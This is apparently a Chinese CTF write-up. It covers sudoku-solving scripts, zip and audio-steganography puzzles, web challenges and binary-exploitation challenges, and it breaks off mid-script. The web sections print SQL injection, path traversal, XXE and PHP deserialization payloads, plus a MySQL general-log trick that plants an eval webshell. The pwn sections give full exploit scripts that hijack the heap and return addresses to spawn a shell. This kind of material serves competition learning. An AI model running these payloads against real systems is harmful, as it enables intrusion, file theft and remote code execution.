        # print(f"run backtracking... value is {previous_value},vacant position is {previous_vacant_position}")
        row, column = previous_vacant_position
        # 对上一次成功的值从需要用到的判断的数据中移除
        self.every_column_data[column].remove(previous_value)
        self.every_row_data[row].remove(previous_value)

        key = self._get_three_to_three_key(row, column)
        self.every_three_to_three_data[key].remove(previous_value)

        # 并且上一次改变的的值变回去
        self.sudo_ku[row][column] = ''

        # 对当前尝试失败的位置已经城市失败的的值进行删除,因为回溯了,所以下一次进来需要重新判断值
        current_row, current_column = current_vacant_position
        key = str(current_row) + str(current_column)
        self.every_vacant_position_tried_values.pop(key)

    def get_result(self):
        '''
        得到计算之后的数独
        :return:
        '''
        # 空缺位置的长度
        length = len(self.vacant_position)
        # 空缺位置的下标
        index = 0

        # 存放已经尝试了的数据
        tried_values = []
        # 如果index小于length,说明还没有计算完
        while index < length:
            # 得到一个空缺位置
            vacant_position = self.vacant_position[index]

            # 计入计算函数,返回是否成功,如果成功,value为成功 的值,如果失败,value为None
            is_success, value = self._calculate(vacant_position)
            # 如果成功,将value放在tried_values列表里面,因为列表是有序的.
            # index+1 对下一个位置进行尝试
            if is_success:
                tried_values.append(value)
                index += 1
            # 失败,进行回溯,并且index-1,返回上一次的空缺位置,我们需要传入当前失败的位置 和 上一次成功的位置和值
            else:
                self._backtrack(vacant_position, self.vacant_position[index - 1], tried_values.pop())
                index -= 1

            # 如果index<0 了 说明这个数独是无效的
            if index < 0:
                raise ValueError(f'{self.sudo_ku} is a invalid sudo ku')

        # 打印计算之后的数独
        self.show_sudo_ku()
        return self.sudo_ku

    def show_sudo_ku(self):
        '''
        显示数独
        :return:
        '''
        for row in self.sudo_ku:
            for b in row:
                print(str(b), end="")
            print()
            # print(row)    # 原本


##################################################
#  用来判断最后计算的数独是否合法,和计算没有关系     #
##################################################

def judge_value_is_legal(row, column, value, sudo_ku):
    # column
    for i in range(0, 9):
        if row == i:
            continue
        if value == sudo_ku[i][column]:
            return False

    # row
    for i in range(0, 9):
        if column == i:
            continue
        if value == sudo_ku[row][i]:
            return False

    # three_to_three
    for i in range(row // 3 * 3, row // 3 * 3 + 3):
        for j in range(column // 3 * 3, column // 3 * 3 + 3):
            if i == row and j == column:
                continue
            if value == sudo_ku[i][j]:
                return False

    return True


def judge_sudo_ku_is_legal(sudo_ku):
    for row, row_values in enumerate(sudo_ku):
        for column, value in enumerate(row_values):
            if not judge_value_is_legal(row, column, value, sudo_ku):
                return False
    return True


if __name__ == '__main__':
    data = """450706200
200000048
000408060
085290006
602003950
700600830
500040680
900300100
821065073"""
    sudo1 = data.split('\n')
    sudo_ku_data = [list(s) for s in sudo1]
    for i in sudo_ku_data:
        for b in range(len(i)):
            if i[b] != '0':
                i[b] = int(i[b])
            else:
                i[b] = ''

    # 得到计算好的数独
    sudo_ku = SudoKu(sudo_ku_data).get_result()

    # 判断最后生成的数独是否是有效的
    # print(judge_sudo_ku_is_legal(sudo_ku))



image-20230610190212900

 

2.烦人的压缩包

打开压缩包要密码,爆破密码645321

 

 

o4tr11d5s1413727.jpg  

 

 

jpg文件尾压缩包

image-20230610190322841

提取出来直接解压提示crc报错

 

修复压缩包的crc3twflacqnxh13731.png

 

解开后ook解密

 

y4wsfkmsn5n13732.png https://www.splitbrain.org/services/ook

 

image-20230610193746752

3.sudoku_speedrun

小小升级版数独,telnet交互:

kali :: ~ 127 » telnet 47.108.165.60 37569

Trying 47.108.165.60...

Connected to 47.108.165.60.

Escape character is '^]'.

 

Ubuntu 22.04.2 LTS

Welcome to Play Sudoku Game!

Play(1)

Exit(2)

Please input

> 1

 

Tips:

R to replay

Q to exit

WASD to move

You have 10000ms to solve it :)

Please select the level

easy(5)

normal(6)

hard(7)

>5

image-20230610193910056

这次需要解出之后通过移动光标将数独还原

其实大差不差,这里主要几个点

题目用了ANSI转义码,读取数据时会有大量的乱码,需要replace掉 response=response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'') 这里我为方便采用了在每一行右移填补到最后之后,往下再重新左移到最左边,再开始下一行的右移填补,而不是用左移填补导致需要倒着索引,略微增加了时间复杂度   def solve(input_string):     original_board = parse_input(input_string)# 创建原始数组的副本     board_copy = [row[:] for row in original_board]         solution = solve_sudoku(original_board)     # print(board_copy)     # print(solution)     lists=[]     for i in range(9):         for j in range(9):             if board_copy[i][j] == 0:                 lists.append(str(solution[i][j]))             if j != 8:                 lists.append('d')         lists.extend('saaaaaaaa')             # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")     return lists   读取到形如

‘’’

-------------------------

| 4 3 0 | 0 0 6 | 2 0 0 |

| 8 0 0 | 0 7 0 | 0 0 3 |

| 2 0 7 | 0 5 0 | 1 4 6 |

-------------------------

| 0 0 0 | 0 0 0 | 0 7 5 |

| 7 5 0 | 8 0 0 | 6 2 0 |

| 0 2 9 | 7 3 5 | 0 1 0 |

-------------------------

| 5 6 0 | 4 0 3 | 0 9 0 |

| 0 0 2 | 5 0 0 | 8 0 0 |

| 3 0 1 | 0 8 2 | 0 6 4 |

-------------------------’’’

转二维数组

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

 

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

 

    return board

  经过尝试后发现只要发送数组服务器便会执行移动与填充操作,例如发送[‘d’,‘d’,‘1’]光标会右移两个单位并填入1

最终脚本:

import telnetlib

def solve_sudoku(board):

    if is_complete(board):

        return board

 

    row, col = find_empty_cell(board)

    for num in range(1, 10):

        if is_valid(board, row, col, num):

            board[row][col] = num

            if solve_sudoku(board):

                return board

            board[row][col] = 0

 

    return None

 

def is_complete(board):

    for row in board:

        if 0 in row:

            return False

    return True

 

def find_empty_cell(board):

    for i in range(9):

        for j in range(9):

            if board[i][j] == 0:

                return i, j

    return None, None

 

def is_valid(board, row, col, num):

    # Check row

    if num in board[row]:

        return False

 

    # Check column

    for i in range(9):

        if board[i][col] == num:

            return False

 

    # Check 3x3 box

    box_row = (row // 3) * 3

    box_col = (col // 3) * 3

    for i in range(box_row, box_row + 3):

        for j in range(box_col, box_col + 3):

            if board[i][j] == num:

                return False

 

    return True

 

def parse_input(input_string):

    rows = input_string.strip().split('\n')

    board = []

 

    for row in rows:

        row = row.replace('-', '').replace('|', '').split()

        nums = [int(num) if num != '0' else 0 for num in row]

        if nums!=[]:

            board.append(nums)

 

    return board

 

def solve(input_string):

    original_board = parse_input(input_string)# 创建原始数组的副本

    board_copy = [row[:] for row in original_board]

 

 

    solution = solve_sudoku(original_board)

    # print(board_copy)

    # print(solution)

    lists = []

    for i in range(9):

        for j in range(9):

            if board_copy[i][j] == 0:

                lists.append(str(solution[i][j]))

            if j != 8:

                lists.append('d')

        lists.extend('saaaaaaaa')

            # print(f"索引为 ({i}, {j}) 的位置,填入数字 {solution[i][j]}")

    return lists

 

tn = telnetlib.Telnet('47.108.165.60',36697)

 

welcome_msg = tn.read_until(b"Please input")

print(welcome_msg.decode("utf-8"))

 

# 发送返回值到服务器

tn.write("1".encode("utf-8") + b"\n")

 

msg = tn.read_until(b"hard(7)")

print(msg.decode("utf-8"))

 

tn.write("5".encode("utf-8") + b"\n")

 

msg = ''

for i in range(15):

    response = tn.read_until(b"\n")

    # print((response))

    response = response.replace(b'\x1b[7;32m',b'').replace(b'\x1b[0m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[H\x1b[2J',b'')

    msg += response.decode().strip('> 5')

tn.write(str(solve(msg)).encode("utf-8") + b"\n")

tn.interact()

 

或者脚本:

def solve_sudoku(puzzle):
    # 辅助函数:检查数字num是否可以放置在指定位置(row, col)
    def is_valid(num, row, col):
        # 检查行
        for i in range(9):
            if puzzle[row][i] == num:
                return False

        # 检查列
        for i in range(9):
            if puzzle[i][col] == num:
                return False

        # 检查3x3方格
        start_row = (row // 3) * 3
        start_col = (col // 3) * 3
        for i in range(3):
            for j in range(3):
                if puzzle[start_row + i][start_col + j] == num:
                    return False

        return True

    # 辅助函数:回溯求解数独
    def backtrack():
        for row in range(9):
            for col in range(9):
                if puzzle[row][col] == 0:  # 找到一个空格
                    for num in range(1, 10):  # 尝试数字1-9
                        if is_valid(num, row, col):
                            puzzle[row][col] = num  # 填入数字
                            if backtrack():  # 递归求解
                                return True
                            puzzle[row][col] = 0  # 回溯,撤销选择
                    return False
        return True

    # 将输入的字符串转换成二维列表
    puzzle = [[int(puzzle[i * 9 + j]) for j in range(9)] for i in range(9)]

    # 调用回溯函数求解数独
    if backtrack():
        # 将二维列表转换回字符串
        solution = ''.join(str(puzzle[i][j]) for i in range(9) for j in range(9))
        return solution
    else:
        return "No solution found."


# # 输入数独题目
# puzzle_input = "002506008160080500000070601006030075325090164070620000207041800010807340850003019"
#
# # 解答数独题目
# solution = solve_sudoku(puzzle_input)
#
# # 输出结果
# print(solution)



from pwn import *
context.log_level="debug"
p = remote('47.108.165.60',32449)
p.recvuntil(b'> ')
p.sendline(b'1')
p.recvuntil(b'> ')
p.sendline(b'7')
p.recv()
s = p.recv()
s = s.replace(b'\x1b[7;32m',b'').replace(b'\x1b[1;32m',b'').replace(b'\x1b[0m',b'').replace(b'\r\n',b'').replace(b'|',b'').replace(b' ',b'').replace(b'-',b'').replace(b'\x1b[H\x1b[2J',b'').decode()
# print(s)
solution = solve_sudoku(s)
# print(solution)
flag = ''
for i in range(9):
    for j in range(9):
        if(s[i*9+j] != '0'):
            flag += 'd'
        else:
            flag += solution[i*9+j]
            flag += 'd'
    flag = flag[:-1]
    flag += 'saaaaaaaa'
print(flag)
flag = flag.encode()
p.sendline(flag)
r = p.recvall(100000)
print(r.decode())
print(s)
print(solution)

 

xdxkysuqcwt13736.jpg  

 

4.cancellation

题目得到noise.mp4,意外的发现用windows media player播放可以读到一串sstv

image-20230610200317154

结合file用Matroska打包猜测应该是mkv文件

image-20230610200410070

用mkvtool发现确实有多个音频轨道

image-20230610200535476

mkvextract.exe提取出来两个音频(轨道是从0开始的,mkvtool里的轨道编号从1开始的)

image-20230610201638810

轨道3可以读到一张图

image-20230610200931537

轨道2可以读到一个模糊无法识别的二维码,仔细观察可以发现背景图似乎就是轨道3读到的图

image-20230610201035296

在测试过程中发现在一定位置挂上notch之后,可以读到很清晰的后半边的二维码,左半边变得更加模糊了,但却更加清晰的显示出背景图,明显就是轨道3的图

image-20230610201214671

再结合题目名,大胆猜测轨道2的sstv做了一个叠加处理,尝试几次后2*轨道2-轨道3可以扫描出正确的图像(这里放完整二维码图片会被csdnban掉)

import librosa

import soundfile as sf

import numpy as np

 

audio1, sr1 = librosa.load('2.wav', sr=None)

audio2, sr2 = librosa.load('3.wav', sr=None)

 

result =  2*audio1-audio2

sf.write('result.wav', result, sr1)

 

或者脚本:

from scipy.io import wavfile
import numpy as np

# 加载两个音频文件
rate1, audio1 = wavfile.read('output1.wav')
rate2, audio2 = wavfile.read('output2.wav')

# 确保两个音频的采样率相同,如果不同,进行重新采样
if rate1 != rate2:
    # 重新采样audio2为与audio1相同的采样率
    audio2 = np.interp(np.linspace(0, len(audio2), len(audio1)), np.arange(len(audio2)), audio2).astype(audio1.dtype)

# 确保两个音频的长度相同,如果不同,进行裁剪或填充
length = min(len(audio1), len(audio2))
audio1 = audio1[:length]
audio2 = audio2[:length]

# 音频相减
result = audio1 - audio2//2

# 保存为新的音频文件
wavfile.write('output_diff.wav', rate1, result)

 

 

image-20230610215510870

扫描的结果解base64得到图片

image-20230610202014820

拿到flag

二、web

1.go题目

注册用户登录进去 jcva3pvlzvx13749.png

 

categories这里随便加一个

 

phou1rm31df13750.jpg

 

新建一个task 放到里面

 

uqxnmtbnkpy13752.jpg

 

然后在search那里注入,这里解释下为什么会这样

stmt := "select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%" + query + "%' or content like '%" + query + "%'order by created_date desc"

这里是直接query没任何限制,直接注入就行了,但是调试的时候没添加priority这个字段,导致查询一直错误,没调试出来真的可惜。

 

o11jubnfbuc13754.jpg

 

然后到这里就很明了构造闭合,直接去查询数据。

 

vlh5fw5p25s13755.jpg

 

select t.id, title, content, created_date, priority, c.name from task t, category c where t.user_id=? and c.id = t.cat_id and (title like '%1') union select 1,email,3,4,5,username from user -- %' or content like '%1') union select 1,email,3,4,5,username from user -- %') order by created_date desc

然后题目数据库里面有个 oss的桶,这里环境没了没法继续了。

1') union select 1,url,3,4,secretId ,secretKey from secret -- +
查询出来登录拿flag就行了。  

 

2.CarelessPy

打开环境,可以发现有两个接口,一个是eval,另一个是login处

访问eval路径,可知get请求访问,且cmd传参,要任意读取part.cpython-311.pyc文件,但是不知道具体路径。

 

znnq0p5xa5i13756.jpg  

 

存在文件下载漏洞,构造Payload:

/download?file=../../../../../etc/passwd  下载成功

/download?file=../../../../../proc/1/environ 下载失败

构造去下载提示的start.sh

ugnw2v013nt13758.jpg /download?file=../../../../../start.sh 得到文件内容,app目录下 存在 part.py文件。 ig44bhdj1g013759.jpg  

 

 

继续构造下载pyc文件/download?file=../../../../../../../app/__pycache__/part.cpython-311.pyc

或者/eval?cmd=app/__pycache__/

使用在线工具进行反编译,得到session的key

 

 

ipcpff3odlw13761.png

然后对session进行伪造
tkablvm4esv13762.png

构造session去登录,获得路由

 

qolbvojowjf13763.jpg

 

登录成功
ikhkzxhgejt13765.png
pes0f5fb2w013767.png

一看就是XML注入
pwmvrqh1gnw13768.png

<?xml version="1.0" ?><!DOCTYPE message [
<!ENTITY shell SYSTEM "file:///flag">
]>
<result><ctf>杂鱼~</ctf><web>
&shell;
</web></result>
#SYCTF{COrReCt_AN5w3r_fa0efe410508}


 

 

3.Confronting robot

方法一:

打开网页发现存在sql注入
shpzlfcpcu213770.png

直接sqlmap跑
payload:sqlmap -u "http://x.x.x.x:34918/?myname=aaa" -D robot_data -T name --columns --dump
vxd3f0e0sjq13771.png

得到路由/sEcR@t_n@Bodyknow.php
在该页面可以通过POST传入code直接执行Sql语句
0zhu3dx3l4s13772.png

使用sqlmap跑mysql.user的数据表查看一下权限,发现当前用户拥有Super_priv的权限,但是没有其他可以利用权限。但是root用户存在所有权限
3uvccsk1tom13773.png

解题思路:修改'root'@'::1'为'secret'@'%',然后把'secret'@'localhost'随便修改一个名字,这样链接的数据库就拥有root权限了。需要注意的是密码也需要改成和secret相同。
把secret密码dump下来
qqahtt5e52413774.png

首先修改root的密码,
payload:alter user 'root'@'127.0.0.1' identified by PASSWORD '*C4809B442CD41D91C25BAEA070D00FF39A87190D';
fvgj2vrny5k13775.png

查询是否修改成功
efigwct5bhl13776.png

在继续把'root'@'127.0.0.1'修改成'secret'@'%'
payload:rename user 'root'@'127.0.0.1' to 'secret'@'%';
oaotpooujw213777.png

然后把'secret'@'localhost'修改成任意名字即可
payload:rename user 'secret'@'localhost' to 'aaa'@'%';
hj50te2v0zl13779.png

最后直接读取game.php文件,获得flag
f3zovhthwml13780.png

SYCTF{RObOt_r0B07_3599ec7eac28}

 

方法二:

参数myname存在SQL注入,SQLMAP直接跑

 

vlhmkabgqhb13782.jpg 得到路由/sEcR@t_n@Bodyknow.php,该路由可以直接调用数据库执行SQL uaz4bfbmbhc13784.jpg

 

看题意要猜拳 10 把正确,才能获取 flag,同时还有另一个注入点,测试插入数据失败。测试了一下日志 getshell 成功,非预期

SHOW VARIABLES LIKE '%general%';
set global general_log = "ON";
set global general_log_file='/var/www/html/sEcR@t_n@Bodyknow.php';
select "<?php eval($_POST['pass']);?>";

 

然后直接select记录一次马即可shell

蚁剑连接game.php得到flag

 

 

z2ulr1fq1vl13785.jpg  

 

 

 

4.4号的罗纳尔多

jibfcgb0fix13786.jpg

一个反序列化,两个关键点要绕,第一个可以通过 php 内置类 splstack 绕过匹配 O 开头的序列化数据;第二个可以通过__halt_compiler();来结束 php 代码执行流程,绕过givemegirlfriend!字符串的影响。

<?php 

class evil{
    public $cmd;
    public $a;
    
}
$evilClass = new evil();
$evilClass->cmd = 'system(next(getallheaders()));__halt_compiler();';
$a = new SplStack();
$a -> push($evilClass);
echo serialize($a);

 

4bycg4xm0br13788.jpg  

 

 

三、Pwn

1.harde_pwn

第一步:溢出seed为固定值,这样的话就变成了伪随机。
第二步:用格式化字符串漏洞泄露libc和程序基地址。
第三步:用格式化字符串漏洞打heap_fmt函数运行时候rbp下面的返回地址为onegadgets。
第四步:用格式化字符串漏洞打heap_fmt函数中read函数的返回地址为leave ret。
第五步:get shell。

POC:

from pwn import *

p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')

def duan():
 gdb.attach(p)
 pause()
 
rand = [1804289348,846930915,1681692750,1714636888,1957747830,424238300,719885423,1649760457,596516622,1189641450,1025202335,1350490000,783368663,1102520032,2044897736,1967513955,1365180505,1540383463,304089201,1303455709,35005248]


p.recvuntil('game!\n')
payload = b'a'*(0x20-0x4)+p32(0)
p.send(payload)

for i in range(21):
 p.sendlineafter('input: \n',str(rand[i]))
 p.recvuntil('Success!\n')
p.recvuntil('ata ;)\n')
payload = 'aaaa%3$pbbbb%15$p'
p.send(payload)
p.recvuntil('aaaa')
libc_base = int(p.recv(14),16)-1132946
p.recvuntil('bbbb')
stack = int(p.recv(14),16)


print('stack-->'+hex(stack))
print('libc_base-->'+hex(libc_base))

temp = stack-320+0x20
temp = str(hex(temp)[-4:])
print('temp-->'+temp)

payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

og = [0xebcf1,0xebcf5,0xebcf8]
shell = libc_base+og[1]


payload = '%'+str(int(hex(shell)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')


payload = '%'+str(int(temp,16)+2)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-8:-4],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

payload = '%'+str(int(temp,16)+4)+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(shell)[-12:-8],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

payload = 'aaaa%13$p\x00'
p.send(payload)
p.recvuntil('aaaa')

pie = int(p.recv(14),16)-0x1502

print('pie-->'+hex(pie))
print('shell-->'+hex(shell))

gongji = pie+0x1366

temp = stack-320+0x20-0x20
temp = str(hex(temp)[-4:])

payload = '%'+str(int(temp,16))+'c%15$hnaaaaaaaa\x00'
p.send(payload)
p.recvuntil('aaaaaaaa')

payload = '%'+str(int(hex(gongji)[-4:],16))+'c%45$hnabccba'
p.send(payload)
p.recvuntil('abccba')

p.interactive()

 

或者脚本:

#coding:utf-8

import sys

from pwn import *

from ctypes import CDLL

context.log_level='debug'

elfelf='./harde_pwn'

#context.arch='amd64'

while True :

  # try :

    elf=ELF(elfelf)

    context.arch=elf.arch

 

    gdb_text='''

      b printf

      '''

 

    if len(sys.argv)==1 :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=process(elfelf)

      gdb_open=1

      # io=process(['./'],env={'LD_PRELOAD':'./'})

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    else :

      clibc=CDLL('/lib/x86_64-linux-gnu/libc.so.6')

      io=remote('47.108.165.60',47183)

      gdb_open=0

      clibc.srand(0)

      libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')

      # ld = ELF('/lib/x86_64-linux-gnu/ld.so.6')

      one_gadgaet=[0x45226,0x4527a,0xf03a4,0xf1247]

 

    def gdb_attach(io,a):

      if gdb_open==1 :

        gdb.attach(io,a)

 

    io.recvuntil('elcome to a ctype game!\n')

    io.send('\x00'*0x20)

    for i in range(21):

      io.recvuntil(': \n')

      io.sendline(str((clibc.rand() ^ 0x24) + 1))

 

    io.recv()

    io.send('%31$p')

    io.recvuntil('0x')

 

 

    

    libc_base=int(io.recv(12),16)-libc.sym['__libc_start_main']-128

    libc.address=libc_base

    bin_sh_addr=libc.search('/bin/sh\x00').next()

    system_addr=libc.sym['system']

    free_hook_addr=libc.sym['__free_hook']

    pop_rax_ret=libc.search(asm('pop rax;ret')).next()

    pop_rdi_ret=libc.search(asm('pop rdi;ret')).next()

    pop_rsi_ret=libc.search(asm('pop rsi;ret')).next()

    pop_rdx_ret=libc.search(asm('pop rdx;ret')).next()

    syscall_ret=libc.search(asm('syscall;ret')).next()

 

    io.send('%15$p\x00')

    io.recvuntil('0x')

    stack=int(io.recv(12),16)-0x38-0xe8

    io.recv()

 

    pay='%'+str(stack&0xffff)+'c%15$hn'

    io.send(pay+'\x00')

    

 

    def go(a):

      io.sendafter('input your data ;)\n',a+'\x00')

 

    def fmt(addr,value):

      pay='%'+str(addr&0xffff)+'c%15$hn'

      go(pay)

      off_1=(value)&0xff

      if value==0:

        go('%45$hhn')

      else:

        go('%'+str(off_1)+'c%45$hhn')

 

      for i in range(5):

        pay='%'+str((addr+1+i)&0xff)+'c%15$hhn'

        go(pay)

        off_1=(value>>((i+1)*8))&0xff

        if value==0:

          go('%45$hhn')

        else:

          go('%'+str(off_1)+'c%45$hhn')

 

 

    fmt(stack,pop_rdi_ret)

    fmt(stack+0x8,bin_sh_addr)

    fmt(stack+0x10,pop_rsi_ret)

    fmt(stack+0x18,0)

    fmt(stack+0x20,pop_rsi_ret+1)

    fmt(stack+0x28,system_addr)

 

    pay='%'+str((stack-0x20)&0xffff)+'c%15$hn'

    go(pay)

    gdb_attach(io,gdb_text)

    go('%'+str(0xae)+'c%45$hhn')

 

    success('libc_base:'+hex(libc_base))

    success('stack:'+hex(stack))

    # success('heap_base:'+hex(heap_base))

    io.interactive()

  # except Exception as e:

  #   io.close()

  #   continue

  # else:

  #   continue

 

 

4.pwnpwn

代码审计

main()

 

jhn3zpczep013789.jpg

 

sub_C60()

 

5ifmtttqa1t13793.jpg

 

该函数利用4个rand()%10,让我们猜4个数字

add()

 

h0aczjxnc1d13795.jpg

 

off by null漏洞

思路

利用time(0)是获取当前时间,我们可以利用这点对rand()的进行碰撞,有概率成功;然后利用off_by_null,实现堆重叠,然后劫持free_hook改为system,释放含有“/bin/sh\x00”便可以getshell

exp:

from pwn import*
from ctypes import *

context(arch=
'i386', os='linux',log_level="debug")
context.terminal=[
"wt.exe","wsl.exe"]
libc = ELF(
"./libc-2.31.so")
# libc = ELF("./libc-so.6")
libc_run = cdll.LoadLibrary(
'./libc-so.6')

"""""
def xxx():
    p.sendlineafter("")
    p.sendlineafter("")
    p.sendlineafter("")
"""


def get_p(name):
    
global p,elf 
    
# p = process(name)
    p = remote(
"47.108.165.60",30770)
    elf = ELF(name)

def add(idx,size,content):
    p.sendlineafter(
"root@$",'1')
    p.sendlineafter(
"give me your index:",str(idx))
    p.sendlineafter(
"give me your size:",str(size))
    p.sendafter(
"give me your content:",content)

def edit(idx,content):
    p.sendlineafter(
"root@$",'3')
    p.sendlineafter(
"give me your index",str(idx))
    p.sendlineafter(
"give me your index",str(idx))
    p.sendafter(
"give me your content:",content)
    

def dele(idx):
    p.sendlineafter(
"root@$",'4')
    p.sendlineafter(
"give me your index:",str(idx))

def show(idx):
    p.sendlineafter(
"root@$",'2')
    p.sendlineafter(
"give me your index:",str(idx))

def login(name,passwd):
    p.sendlineafter(
"root@$",'5')
    p.sendafter(
"please input your username",name)
    p.sendafter(
"please input your passwd",passwd)

# p.recvuntil("menu")
# libc_run.srand(libc_run.time(0))
# num = (libc_run.rand()%10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  
libc_run.srand(libc_run.time(
0)+10)
num = (libc_run.rand()%
10) * 1000 + (libc_run.rand()%10) *100 + (libc_run.rand()%10)*10 + (libc_run.rand()%10)  

def pwn(num):

    p.sendlineafter(
"please input your number:",str(num))
    p.recvline()
    
if not p.recvuntil("you win",timeout=0.1):
        exit(
0)
    login(
"AAAAA","AA")

    add(
0,0x440,"AAA")
    add(
1,0x88,"AAA")
    add(
2,0x440,"AAAA")
    add(
3,0x60,"AAA")
    dele(
0)
    dele(
2)
    add(
0,0x450,"AAAA")
    add(
2,0x440,"AAAAAAAA")
    add(
4,0x440,"AAAAAAAA")
    edit(
4,"\x70"*9)
    login(
"AAAAA","A"*100)
    show(
4)
    libc.address = u64(p.recvuntil(
"\x7f")[-6:].ljust(8,b"\x00")) - 1008 - 0x10 - libc.sym['__malloc_hook']
    free_hook = libc.sym[
'__free_hook']
    print(hex(libc.address))
    login(
"AAAAA\x00","AAA\x00")
    edit(
4,"A"*0xf+"+")
    login(
"AAAAA","A"*100)
    show(
4)
    p.recvuntil(
"+")
    heap_addr = u64(p.recv(
6).ljust(8,b"\x00")) - 0x290
    print(hex(heap_addr))
    login(
"AAAAA\x00","AAA\x00")

    ptr = heap_addr + 
0xc60 - 0x20
    target = heap_addr + 
0x10c0 - 0x20
    edit(
0,p64(target))
    
# for i in range(5):
    
#     dele(i)


    
# add(7,0x80,"AAA")
    
# add(8,0x70,"AAAA")
    
# add(9,0x3f0,"AAAA")
    add(
5,0x220,p64(0)+p64(0x441)+p64(ptr-0x18)+p64(ptr-0x10))
    add(
6,0x218,"AAA")
    add(
7,0x4f0,"AAAA")
    dele(
6)
    add(
6,0x218,b"A"*0x210+p64(0x440))
    dele(
7)

    add(
7,0x210,"AAAA")
    add(
8,0x60,"AAAAA")

    dele(
3)
    dele(
6)
    login(
"AAAAA\x00","AAA\x00")

    edit(
8,p64(free_hook))

    add(
6,0x60,"/bin/sh\x00")
    add(
3,0x60,p64(libc.sym['system']))
    dele(
6)
# gdb.attach(p,"")
while True:
    
try:
        get_p(
"./pwnpwn")
        pwn(num)
        p.interactive()
    
except:
        p.close()
# get_p("./pwnpwn")
# pwn()
# p.interactive()
 
或者脚本:
from pwn import *
from struct import pack
from ctypes import *
import hashlib
context(os='linux', arch='amd64', log_level='debug')
def s(a):
    p.send(a)
def sa(a, b):
    p.sendafter(a, b)
def sl(a):
    p.sendline(a)
def sla(a, b):
    p.sendlineafter(a, b)
def r():
    p.recv()
def pr():
    print(p.recv())
def rl(a):
    return p.recvuntil(a)
def inter():
    p.interactive()
def debug():
    gdb.attach(p)
    pause()
def get_addr():
    return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
def get_sb():
    return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))
 
p = remote('47.108.165.60', 26364)
elf = ELF("./pwnpwn")
 
libc = ELF('./libc-2.31.so')
 
my_libc= cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
srand = my_libc.srand(my_libc.time(0))
num_4 = my_libc.rand() % 10
num_3 = my_libc.rand() % 10
num_2 = my_libc.rand() % 10
num_1 = my_libc.rand() % 10
num = num_4*1000 + num_3*100 + num_2*10 + num_1
sla("please input your number:",str(num))
 
menu = 'root@$\n'
def add(index, size, content = b'a'):
    sla(menu, '1')
    sla('give me your index:\n', str(index))
    sla('give me your size:\n', str(size))
    sa('give me your content:\n', content)
def show(index):
    sla(menu, '2')
    sla('give me your index:\n', str(index))
def edit(index, content):
    sla(menu, '3')
    sla('give me your index\n', str(index))
    sla('give me your index\n', str(index))
    sa('give me your content:\n', content)
def delete(index):
    sla(menu, '4')
    sla('give me your index:\n', str(index))
def login(user, passwd):
  sla(menu, '5')
  sla(b'username\n', user)
  sla(b'passwd\n', passwd)
 
login(b'1', b'1')
 
add(0,0x418, b"A"*0x100) 
add(1,0x108) #1 barrier
add(2,0x438, b"B0"*0x100) 
add(3,0x438, b"C0"*0x100) 
add(4,0x108,b'4'*0x100) 
add(5, 0x488, b"H"*0x100) 
add(6,0x428, b"D"*0x100)
add(7,0x108)
 
delete(0)
delete(3) 
delete(6) 
 
delete(2)
 
add(2, 0x458, b'a' * 0x438 + p64(0x551)[:-2]) 
 
add(3,0x418) 
add(6,0x428) 
add(0,0x418,b"0"*0x100) 
 
delete(0)
delete(3) 
add(0, 0x418, b'a' * 8) 
add(3, 0x418)   
 
delete(3) 
delete(6) 
add(6,0x500-8, b'6'*0x488 + p64(0x431)) 
add(3, 0x3b0)
delete(4)
add(4, 0x108, 0x100*b'4' + p64(0x550))
delete(6)
add(6,0x438)
login(b'2133', b'2131221')    
show(4)
libc_base = get_addr() - 0x1ecbe0
login(b'a'*8, b'\x01'*0x106)
delete(6) 
add(6, 0x458, 0x438*b'6'+p64(0x111)) 
delete(7) 
delete(4) 
 
delete(6)
add(6, 0x458, 0x438*b'6'+p64(0x111)+p64(libc_base+libc.sym['__free_hook']))
 
add(7,0x108,b'/bin/sh\x00')
add(4,0x108)
edit(4, p64(libc_base+libc.sym['system']))
delete(7)
 
inter()

这里随机值一直碰撞不成功,撞了2个小时,只能说没有直接想到,我们可以直接time(0)+10,然后当我们碰撞运行,当时间变成time+10时,大概率就可以碰到,不行就多用几次

5.DE_CAT

代码审计

main()

 

wgw3z1j5sn013796.jpg

 

经典堆题

init_s()

 

ntdszqbcv1r13797.png

 

不用看就知道了,要orw

edit()

 

gev0s2ngnoo13800.jpg

 

又是off_by_null

思路

先利用large chunk,泄露出来libc和heap的地址,再利用off_by_null,进行unlink,实现堆重叠,然后往environ位置上申请chunk,泄露出来stack地址,然后劫持add()的返回地址,实现控制执行流

exp:

from pwn import*
context(arch=
'i386', os='linux',log_level="debug")
context.terminal=[
"wt.exe","wsl.exe"]
# libc = ELF("../libc/")
libc = ELF(
"./libc-so.6")
"""""
def xxx():
